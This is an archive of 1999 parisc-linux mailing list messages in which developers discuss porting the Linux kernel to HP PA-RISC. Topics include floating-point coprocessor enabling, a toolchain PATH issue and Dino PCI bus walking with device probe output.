Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619784 14176 80.91.229.3 (22 Nov 2014 01:29:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@suse.de  Fri Oct  1 12:56:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA10854
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Oct 1999 12:56:37 -0600
Original-Received: (qmail 3376 invoked by uid 15267); 1 Oct 1999 18:57:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3369 invoked from network); 1 Oct 1999 18:57:02 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 1 Oct 1999 18:57:02 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 1D00F32CE6; Fri, 01 Oct 1999 18:57:02 +0000 (???)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 5F9CC67A7; Fri,  1 Oct 1999 20:56:26 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 167A27F8B; Fri,  1 Oct 1999 20:56:25 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <19991001151206.H17134@thepuffingroup.com>; from Phil Schwan on Fri, Oct 01, 1999 at 03:12:06PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9992

> o FP enable via writing cr10 (CCR) register. Not doing this the "right"
>   way - which is to use PDC_COPROC but it will work for all PA1.1
>   platforms.

Why is not using PDC_COPROC not the right way ?  It should do exactly the same
thing, modulo machines without FPU (for which we do not provide emulation
anyway) and firmware bugs ...

> ===================================================================
> RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/head.S,v
> retrieving revision 1.32
> diff -u -r1.32 head.S
> --- head.S      1999/08/31 19:25:23     1.32
> +++ head.S      1999/09/30 22:43:03

I would prefer to do this somewhere after the kernel is loaded, in C, surrounded
by a pair of printks, so we know whether it is this that hangs the machine.


From - Thu Nov 08 21:16:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] commit FP coproc enable code?
Date: Fri, 01 Oct 1999 13:52:53 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <199910012052.NAA13364@milano.cup.hp.com>
References: <19991001205625.J16533@suse.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619784 14179 80.91.229.3 (22 Nov 2014 01:29:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:44 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Oct  1 14:53:35 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA11592
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Oct 1999 14:53:34 -0600
Original-Received: (qmail 17525 invoked by uid 15267); 1 Oct 1999 20:54:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17518 invoked from network); 1 Oct 1999 20:54:00 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 1 Oct 1999 20:54:00 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id QAA04640
	for <parisc-linux@thepuffingroup.com>; Fri, 1 Oct 1999 16:53:12 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id NAA13364 for <parisc-linux@thepuffingroup.com>; Fri, 1 Oct 1999 13:52:53 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 01 Oct 1999 20:56:25 PDT."
             <19991001205625.J16533@suse.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9993

Philipp Rumpf wrote:
> > o FP enable via writing cr10 (CCR) register. Not doing this the "right"
> >   way - which is to use PDC_COPROC but it will work for all PA1.1
> >   platforms.
> 
> Why is not using PDC_COPROC not the right way ?
> It should do exactly the same
> thing, modulo machines without FPU (for which we do not provide emulation
> anyway) and firmware bugs ...

You are right.
But I'm lazy and I don't care right now about machines older than PA 1.1.
Someone who cares about PA 1.0 can implement that.

> 
> > ===================================================================
> > RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/head.S,v
> > retrieving revision 1.32
> > diff -u -r1.32 head.S
> > --- head.S      1999/08/31 19:25:23     1.32
> > +++ head.S      1999/09/30 22:43:03
> 
> I would prefer to do this somewhere after the kernel is loaded, in C,
> surrounded
> by a pair of printks, so we know whether it is this that hangs the machine.

Agreed...I'll do that....thanks!

grant


Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linux/Makefile
Date: Fri, 1 Oct 1999 16:47:30 -0700 (PDT)
Lines: 9
Approved: news@gmane.org
Message-ID: <199910012347.QAA13637@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619784 14182 80.91.229.3 (22 Nov 2014 01:29:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:44 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Oct  1 17:48:04 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA12252
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Oct 1999 17:48:03 -0600
Original-Received: (qmail 5415 invoked by uid 15267); 1 Oct 1999 23:48:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5408 invoked from network); 1 Oct 1999 23:48:29 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 1 Oct 1999 23:48:29 -0000
Original-Received: from milano.cup.hp.com (grundler@milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id TAA13422
	for <parisc-linux@thepuffingroup.com>; Fri, 1 Oct 1999 19:47:46 -0400 (EDT)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id QAA13637 for parisc-linux@thepuffingroup.com; Fri, 1 Oct 1999 16:47:30 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9994


FYI - Alex noticed his tree was recursively building vmlinux because
init_task_union tests weren't working right. Turned out he was picking
up the HP-UX "nm" instead of GNU nm.

Lesson: check $PATH - order matters.

grant


From - Thu Nov 08 21:16:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux/Makefile
Date: Sat, 02 Oct 1999 01:20:22 -0400
Organization: The Puffin Group
Lines: 18
Approved: news@gmane.org
Message-ID: <37F59616.1E51B9F0@thepuffingroup.com>
References: <199910012347.QAA13637@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619785 14186 80.91.229.3 (22 Nov 2014 01:29:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: adevries@thepuffingroup.com  Fri Oct  1 23:07:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA13643
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Oct 1999 23:07:15 -0600
Original-Received: (qmail 23318 invoked by uid 15267); 2 Oct 1999 05:07:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23311 invoked from network); 2 Oct 1999 05:07:42 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 2 Oct 1999 05:07:42 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id BAA21350;
	Sat, 2 Oct 1999 01:20:23 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9995

Grant Grundler wrote:
> 
> FYI - Alex noticed his tree was recursively building vmlinux because
> init_task_union tests weren't working right. Turned out he was picking
> up the HP-UX "nm" instead of GNU nm.
> 


I've actually fixed this by committing a bit of code that checks to make
sure that you're using GNU nm :)

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:16:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] commit FP coproc enable code?
Date: Sat, 02 Oct 1999 00:03:57 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <24837.938844237@upchuck.cygnus.com>
References: <199910012052.NAA13364@milano.cup.hp.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619785 14188 80.91.229.3 (22 Nov 2014 01:29:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: law@upchuck.cygnus.com  Sat Oct  2 00:53:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA13988
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Oct 1999 00:53:09 -0600
Original-Received: (qmail 31101 invoked by uid 15267); 2 Oct 1999 06:53:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31085 invoked from network); 2 Oct 1999 06:53:35 -0000
Original-Received: from vomit.cygnus.com (HELO upchuck.cygnus.com) (208.224.120.148)
  by mailserv2.iuinc.com with SMTP; 2 Oct 1999 06:53:35 -0000
Original-Received: from upchuck.cygnus.com (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id AAA24840;
	Sat, 2 Oct 1999 00:03:58 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Fri, 01 Oct 1999 13:52:53 PDT.
             <199910012052.NAA13364@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9996

  In message <199910012052.NAA13364@milano.cup.hp.com>you write:

  > > Why is not using PDC_COPROC not the right way ?
  > > It should do exactly the same
  > > thing, modulo machines without FPU (for which we do not provide emulation
  > > anyway) and firmware bugs ...
  > 
  > You are right.
  > But I'm lazy and I don't care right now about machines older than PA 1.1.
  > Someone who cares about PA 1.0 can implement that.
I would recommend ignoring PA1.0 -- the only machines with PA1.0 processors
are radically different than the machines y'all are targeting.  The effort
would be spent on PA2.0 :-)


jeff



From - Thu Nov 08 21:16:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] my tree (Oct 03)
Date: Sun, 3 Oct 1999 05:35:17 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <19991003053517.J8946@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619785 14194 80.91.229.3 (22 Nov 2014 01:29:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:45 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: prumpf@suse.de  Sat Oct  2 21:34:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA16104
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Oct 1999 21:34:50 -0600
Original-Received: (qmail 32561 invoked by uid 15267); 3 Oct 1999 03:35:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32550 invoked from network); 3 Oct 1999 03:35:18 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 3 Oct 1999 03:35:18 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP id D047E32CDA
	for <parisc-linux@thepuffingroup.com>; Sun, 03 Oct 1999 03:35:17 +0000 (???)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP id BC32367B1
	for <parisc-linux@thepuffingroup.com>; Sun,  3 Oct 1999 05:35:17 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id BABDF7F8B; Sun,  3 Oct 1999 05:35:17 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
Xref: news.gmane.org gmane.linux.ports.parisc:9997

Okay, most of my changes went into the cvs tree today, you can get the rest
at ftp://sunsite.auc.dk/pub/os/linux/parisc/patch-prumpf-19991003.gz 

Changes:

Makefile
	Conditionalize compiling GSC in as we do for other busses

arch/parisc/config.in
arch/parisc/defconfig
	New configuration menus.  Those seem much more logical to me

arch/parisc/kernel/Makefile
	updated to reflect removed/added files

arch/parisc/kernel/drivers.c
arch/parisc/kernel/inventory.c
	not yet in my tree (will be added as soon as I had a look at it)

arch/parisc/kernel/pci.c
include/asm-parisc/pci.h
	this is my version, not grant's that is in the CVS tree

arch/parisc/kernel/pdc.c
arch/parisc/kernel/real.S
include/asm-parisc/real.h
	new mechanism to call code in real-mode.  this doesn't work for some
	calls right now

include/asm-parisc/semaphore.h
include/asm-parisc/semaphore-helper.h
	almost correct semaphore operations

arch/parisc/kernel/setup.c
	removed CVS log (way too long and nobody would have read it anyway)
	removed old functions which I didn't like anyway
	removed get_cpuinfo as it isn't done the right way
	removed frame buffer code (I really hope it doesn't have to be done
		the way it was)

arch/parisc/kernel/traps.c
	clean-up

drivers/block/rd.c
	removed lots of printks

drivers/char/serial.c
	this is my original version, I haven't looked at the modifications
	close enough yet.
	
drivers/gecko/dino-prumpf.c
drivers/gecko/lasi-prumpf.c
	these are my versions, Lasi might be merged, Dino will probably not

drivers/gecko/gecko.c
	much of this code will disappear soon
	more GSC support functions

init/main.c
	most of my changes will go away



	Philipp Rumpf


From - Thu Nov 08 21:16:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PCI bus walking!
Date: Sun, 03 Oct 1999 02:54:47 -0400
Organization: The Puffin Group
Lines: 14
Approved: news@gmane.org
Message-ID: <37F6FDB7.54FEEE9F@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619786 14198 80.91.229.3 (22 Nov 2014 01:29:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Sun Oct  3 00:35:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA17051
	for <parisc-linux@puffin.external.hp.com>; Sun, 3 Oct 1999 00:35:17 -0600
Original-Received: (qmail 5933 invoked by uid 15267); 3 Oct 1999 06:35:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5923 invoked from network); 3 Oct 1999 06:35:45 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 3 Oct 1999 06:35:45 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id CAA24374
	for <parisc-linux@thepuffingroup.com>; Sun, 3 Oct 1999 02:54:48 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9998


The kernel tree in CVS now has PCI code sort of working, so it can scan
the PCI bus on a Dino and find devices.  It's still broken in several
ways: it 
doesn't support multiple dino's, it can't handle interrupts yet, and is
basically doing things in the wrong order, but does work.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:16:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI bus walking!
Date: Sun, 03 Oct 1999 14:57:02 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <199910032157.OAA14770@milano.cup.hp.com>
References: <37F6FDB7.54FEEE9F@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619786 14202 80.91.229.3 (22 Nov 2014 01:29:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: grundler@cup.hp.com  Sun Oct  3 15:57:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA19990
	for <parisc-linux@puffin.external.hp.com>; Sun, 3 Oct 1999 15:57:30 -0600
Original-Received: (qmail 19994 invoked by uid 15267); 3 Oct 1999 21:57:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19984 invoked from network); 3 Oct 1999 21:57:59 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 3 Oct 1999 21:57:59 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id RAA02406;
	Sun, 3 Oct 1999 17:57:16 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id OAA14770; Sun, 3 Oct 1999 14:57:06 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 03 Oct 1999 02:54:47 PDT."
             <37F6FDB7.54FEEE9F@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9999

Alex deVries wrote:
> 
> The kernel tree in CVS now has PCI code sort of working, so it can scan
> the PCI bus on a Dino and find devices.  It's still broken in several
> ways: it doesn't support multiple dino's, it can't handle interrupts yet,
> and is basically doing things in the wrong order, but does work.

Alex,
This is awesome! Kudos!

I can fix all of those things. Can you tell me:
o what's broken about multi-Dino support
o What you think is wrong with interrupts?
  (I assume registration isn't working as dino_interrupt() is simple)
o What's the order you are seeing and what order shoulds it be.

Kudos again!
grant

ps. Kudos to Philipp too for yesterdays code drop!


From - Thu Nov 08 21:16:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Dino developments...
Date: Sun, 03 Oct 1999 19:29:19 -0400
Organization: The Puffin Group
Lines: 51
Approved: news@gmane.org
Message-ID: <37F7E6CF.F781614F@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619786 14204 80.91.229.3 (22 Nov 2014 01:29:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Sun Oct  3 17:09:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA20403
	for <parisc-linux@puffin.external.hp.com>; Sun, 3 Oct 1999 17:09:56 -0600
Original-Received: (qmail 1005 invoked by uid 15267); 3 Oct 1999 23:10:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 997 invoked from network); 3 Oct 1999 23:10:25 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 3 Oct 1999 23:10:25 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id TAA24905
	for <parisc-linux@thepuffingroup.com>; Sun, 3 Oct 1999 19:29:20 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10000



I've fixed up a couple of things in the kernel:

- PCI bus walking happens in the *right place*, pci_init().

- I've fixed the inventory code to handle hversion_rev and sversion_rev

- Multiple Dinos are detected properly now

- Card Mode Dino now seems to work for bus walking, the MMIO is a whole
different story.

As a test, I packed in:
- a Symbios SCSI controller PCI card
- a GSC gigabit ethernet card (which uses a dino)
- another GSC gigabit ethernet card (which uses a dino)

(and if you're curious as to how I can pack three cards in an A class,
you'll have to visit Ottawa to see)

The output I get is:
Dino version 3.1 (bridge mode) found at
0xfff80000                              
Dino version 3.0/3.1 (card mode) found at
0xfff84000                            
Found a PCI device, and the vendor is 0x107e, device
0x3                        
Dino version 3.0/3.1 (card mode) found at
0xfff88000                            
Found a PCI device, and the vendor is 0x12ae, device
0x1                        
PCI: Probing PCI
hardware                                                       
Found a PCI device, and the vendor is 0x104b, device
0x8130                     
Found a PCI device, and the vendor is 0x1011, device
0x19                       

So the first PCI device found is an "Interphase" gigE thing that's not
in the PCI database, the second is an Alteon Acenic gigE, the third is
the Symbios SCSI card, and the last is the onboard DEC tulip.

- Alex


-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:16:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dino developments...
Date: Sun, 03 Oct 1999 21:45:50 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <199910040445.VAA15000@milano.cup.hp.com>
References: <37F7E6CF.F781614F@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619786 14209 80.91.229.3 (22 Nov 2014 01:29:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com, grundler@milano.cup.hp.com
Original-X-From: grundler@cup.hp.com  Sun Oct  3 22:46:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA21276
	for <parisc-linux@puffin.external.hp.com>; Sun, 3 Oct 1999 22:46:12 -0600
Original-Received: (qmail 1761 invoked by uid 15267); 4 Oct 1999 04:46:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1754 invoked from network); 4 Oct 1999 04:46:41 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 4 Oct 1999 04:46:41 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id AAA19912
	for <parisc-linux@thepuffingroup.com>; Mon, 4 Oct 1999 00:45:58 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id VAA15000; Sun, 3 Oct 1999 21:45:50 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 03 Oct 1999 19:29:19 PDT."
             <37F7E6CF.F781614F@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10001


Alex - this is really cool.

Alex deVries wrote:
> 
> 
> I've fixed up a couple of things in the kernel:
> 
> - PCI bus walking happens in the *right place*, pci_init().

Ok. Were you able to salvage what I had submitted then?
I was under the impression pci_init() wouldn't work. Registration of
the pci_bus_ops for each Dino looked like a problem.

Oh. I think I got it.  Each dino registers pci_bus_ops when it's
"discovered" and pci_init() is called later...is that right?
(I'll be looking at the code anyway...may not have to answer)

> - I've fixed the inventory code to handle hversion_rev and sversion_rev
> - Multiple Dinos are detected properly now
> - Card Mode Dino now seems to work for bus walking, the MMIO is a whole
> different story.

I'll start reviewing card-mode Dino initialization and see what we can
do for MMIO. I have to understand more about what the "right" thing for
linux is WRT I/O address management. This has to take place sometime
between when card-mode Dino is "discovered" and when PCI bus walk completes.
(So we know how much space is needed.)

What about interrupts?
Is alloc_irq() handing virtual IRQ's back to the PCI drivers for the
respective dino irq_region?
I'm curios if/how it is supposed to work and might take a peek at this
as well. Once this works, the box should be able to send mail - that's
a key milestone for HP folks..

cheers,
grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dino developments...
Date: Sun, 03 Oct 1999 22:30:33 -0700
Lines: 59
Approved: news@gmane.org
Message-ID: <199910040530.WAA15020@milano.cup.hp.com>
References: <37F7E6CF.F781614F@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619787 14211 80.91.229.3 (22 Nov 2014 01:29:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:47 +0000 (UTC)
To: parisc-linux@thepuffingroup.com, grundler@milano.cup.hp.com
Original-X-From: grundler@cup.hp.com  Sun Oct  3 23:30:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA21579
	for <parisc-linux@puffin.external.hp.com>; Sun, 3 Oct 1999 23:30:56 -0600
Original-Received: (qmail 9611 invoked by uid 15267); 4 Oct 1999 05:31:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9601 invoked from network); 4 Oct 1999 05:31:25 -0000
